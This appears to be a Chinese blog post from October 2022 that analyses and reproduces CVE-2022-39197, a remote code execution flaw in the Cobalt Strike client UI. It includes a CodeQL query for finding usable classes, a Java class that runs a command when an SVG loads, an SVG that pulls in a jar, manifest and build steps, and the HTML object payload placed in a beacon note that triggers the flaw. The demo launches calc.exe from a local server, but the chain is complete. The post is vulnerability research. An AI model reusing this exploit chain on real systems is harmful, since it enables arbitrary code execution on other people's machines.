CVE-2022-39197 CS RCE分析复现

Cobalt Strike <=4.7.1 RCE 简单分析与复现

0x00 前言

CVE-2022-39197这个洞是前段时间爆出来的,具体的复现过程也是拜读了漂亮鼠师傅的文章:

https://mp.weixin.qq.com/s/l5e2p_WtYSCYYhYE0lzRdQ

漏洞具体的细节不再赘述,思路和上面提到的文章一样,核心就是以下几点:

  • 由于Swing库依赖加上CS本身的UI对html的渲染,导致我们引入html标签造成XSS。
  • CS里规定了不同的html标签有不同的解析方式,其中<object>标签允许我们传入指定类完成特定操作,要求是
    1. 传入的类必须继承Component
    2. 类必须有无参构造方法
    3. 类必须存在一个拥有setXXX方法的属性
    4. setXXX方法只能传入一个String作为参数
  • 关于触发点,我们需要找到CS中通过AES传输的数据模块,比如note、processlist、computer等

0x01 使用codeql寻找符合条件的类

类的约束我们已经有了,下面就是怎么找的问题,首先直接在idea里搜索肯定是不行的,仅仅是继承自Component的子类在jdk中就有上百个:

一个个筛肯定是不行的(如果有耐心的话好像也不是不行- -),更好的办法肯定就是用静态分析工具了,使用codeql、tabby编写对应规则然后进行静态分析即可,好像还有师傅用Gadget Inspector直接搞出了攻击链,这点我不是很清楚,我使用的是codeql。

由于之前有编译好的jdk8的数据库,为图省事我就直接拿来用了,使用我粗糙的手法简单写一下ql语句,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import java

class MyComponent extends ClassOrInterface{
MyComponent(){
this.getName()="Component" or
this.getAnAncestor().getName()="Component"
}
}

class UsableClass extends RefType {
UsableClass(){
this.getAConstructor().hasNoParameters() and
this.getAConstructor().isPublic()
}
}

predicate isMyClass( Class m){
m.getASourceSupertype() instanceof MyComponent and
m instanceof UsableClass
}


class UsableMethod extends Method {
UsableMethod() {
this.getNumberOfParameters() = 1
and this.getAParamType().hasName("String")
and this.isPublic()
and this.getName().matches("set%")
}
}

from UsableMethod me ,UsableClass cla
where
isMyClass(cla) and me.getDeclaringType() = cla
select cla

结果是30多个类:

然后我开始逐一寻找有无可以通过setXXX构造出攻击链的类,但是寻找了一番后没有结果,而且这些类都是来自jdk自带的Swing标准库,作为一个老牌UI库应该很难能有漏洞利用点。

就在陷入迷茫的时候,我突然想到,CS里是不是自带的lib里引入了swing库,结果一看确实存在,就在org.apache.batik包内。于是下面我用同样的方法,编译CS的源码载入codeql的database,结果也是30多个类,大多数类也都没有利用点,但有一个类 JSVGCanvas 引起了我的注意。

0x02 org.apache.batik.JSVGCanvas

JSVGCanvas类里有一个setURI方法

1
2
3
4
5
6
7
8
9
10
11
public void setURI(String var1) {
String var2 = this.uri;
this.uri = var1;
if (this.uri != null) {
this.loadSVGDocument(this.uri);
} else {
this.setSVGDocument((SVGDocument)null);
}

this.pcs.firePropertyChange("URI", var2, this.uri);
}

代码很直白,直接允许我们引入外部svg,其实到这里我是比较怀疑的,在我的印象中svg不是图片格式么,通过引用图片能直接触发RCE吗?

然后我就在这里卡了很久,网上关于svg安全问题的资料几乎没有,最后看到了国外的一篇文章,是查了batik的文档才发现的。

文档中有一段代码提到:

The follow code template demonstrates how to manipulate an SVG document displayed in a JSVGCanvas directly from a Java program. You don’t have to worry about graphics updates; after each event listener invocation the canvas is updated if needed.

告诉我们如何通过去加载SVGDocument,代码样例有很多UI库里的Action实现,这给了我们一个启发,我们可以直接注册一个listner去监听初始化进程,当svg加载的时候就可以直接触发恶意代码。

在文档的末尾提到如何利用svg去执行java代码:

可以看到svg是支持插入html标签的,根据文档指示我们可以归纳出以下几点要求:

  • 需要在指定SVG中插入html,并指定xlink:href属性为java归档文件
  • 类必须继承自EventListenerInitializer,需要添加listener以触发执行指定代码
  • 需要在jar清单中指定SVG-Handler-Class属性为类路径

顺着这些要求我们下一步开始构造。

0x03 触发漏洞

batik可以直接通过maven引入:

1
2
3
4
5
<dependency>
<groupId>xml-apis</groupId>
<artifactId>xml-apis-ext</artifactId>
<version>1.3.04</version>
</dependency>

首先是编写好要执行的java代码,重写匿名内部类的handleEvent方法,嵌入恶意代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
//EvilSVG.java
package org.spring.test;
import org.w3c.dom.events.EventListener;
import org.w3c.dom.svg.EventListenerInitializer;
import org.w3c.dom.svg.SVGDocument;
import org.w3c.dom.svg.SVGSVGElement;

public class EvilSVG implements EventListenerInitializer {
public EvilSVG(){}

@Override
public void initializeEventListeners(SVGDocument svgDocument) {
SVGSVGElement rootElement = svgDocument.getRootElement();
EventListener eventListener = event -> {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {
}
};
rootElement.addEventListener("spring", eventListener,false);
}
}

然后准备好svg和清单:

1
2
3
4
5
//1.svg
<svg xmlns = "http://www.w3.org/2000/svg"
xmlns:xlink = "http://www.w3.org/1999/xlink" width="1" height="1" viewBox="0 0 0 0 ">
<script xlink:href="5.jar" type="application/java-archive"></script>
</svg>
1
2
3
//Manifest
Manifest-Version: 1.0
SVG-Handler-Class: org.spring.test.EvilSVG

其实这里也可以直接使用maven去添加SVG-Handler-Class:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<spring.svg>org.spring.test.EvilSVG</spring.svg>

....

<plugin>
<artifactId>maven-jar-plugin</artifactId>
<version>3.2.0</version>
<configuration>
<archive>
<manifest>
<addDefaultImplementationEntries>true</addDefaultImplementationEntries>
<addDefaultSpecificationEntries>true</addDefaultSpecificationEntries>
</manifest>
<manifestEntries>
<SVG-Handler-Class>${spring.svg}</SVG-Handler-Class>
</manifestEntries>
</archive>
</configuration>
</plugin>

首先编译代码。

1
mvn clean install -DskipTests

将代码编译好之后,来到target/classes目录下,将Manifest,编译好的包一起打包进1.jar,命令是:

1
jar cmf Manifest 5.jar org

这里Mainfest文件不知道为什么就是打包不进去,后来就直接通过pom来添加键值对了:

https://blog.csdn.net/kanyun123/article/details/113057783

或者直接手动修改:

开一个http,然后CS beacon处打上note触发漏洞:

1
<html><object classid="org.apache.batik.swing.JSVGCanvas"><param name="URI" value="http://127.0.0.1:8000/1.svg"></object>

演示:


CVE-2022-39197 CS RCE分析复现
http://example.com/2022/10/18/CVE-2022-39197 CS RCE分析复现/
Author
springtime
Posted on
October 18, 2022
Licensed under